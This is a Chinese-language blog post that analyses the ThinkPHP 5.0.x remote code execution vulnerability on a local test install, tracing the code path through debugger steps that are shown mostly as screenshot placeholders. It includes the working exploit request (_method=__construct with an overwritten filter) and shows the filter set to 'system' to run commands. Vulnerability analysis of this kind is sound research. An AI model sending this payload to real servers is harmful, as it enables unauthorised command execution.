ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

前言

ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

我用的是5.0.22版本

漏洞分析

exp如下:

1
2
3
http://127.0.0.1/TP5022/public/index.php?s=captcha

_method=__construct&filter[]=phpinfo&method=get&get[]=-1

image-20200310132323341

使用debug分析漏洞触发,然后我们跟进这个run()

image-20200310132718714

我们的url为http://127.0.0.1/TP5022/public/index.php?s=captcha

run()中经过一系列的配置加载,后进行url检测

image-20200310133000452

一路跟进至routeCheck()函数

image-20200310133113456

进入这个函数

image-20200310133154656

这时候看到debug中获取到

image-20200310133215672

看到路由检测

image-20200310133501785

跟进Route::check()函数,在该函数中,我们可以看到

image-20200310133702333

image-20200310134326523

在这个函数中,以下关键代码:

image-20200310135350971

其中var_method_method,而我们POST了一个_method=__construct

所以这时候

image-20200310140002170

将会去调用,以下函数

image-20200310140026387

1
2
3
4
5
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}

利用foreach循环,和POST传入数组即可对Request对象的成员属性进行覆盖。其中$this->filter保存着全局过滤规则。经过覆盖,相关变量变为:

1
2
3
4
5
6
$this
method = "get"
get = {array} [0]
0 = dir
filter = {array} [0]
0 = system

因为我的url如下:

1
http://127.0.0.1/TP5022/public/index.php?s=captcha

所以获得

image-20200310140546354

回到run()

image-20200310142329511

跟进exec(),到case: 'method'

image-20200310142441264

跟进$vars = array_merge(Request::instance()->param(), $dispatch['var']);

image-20200310143800700

image-20200310143841087

image-20200310143907189

image-20200310143938756

跟进input()

image-20200310144039824

image-20200310144104203

image-20200310144130550

然后调用call_user_func执行phpinfo()

调用栈如下:

image-20200310144233491

参考

https://xz.aliyun.com/t/3845#toc-1

Author: 我是小吴啦
Link: http://yoursite.com/2020/02/17/ThinkPHP-5-0-0-5-0-23-RCE-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.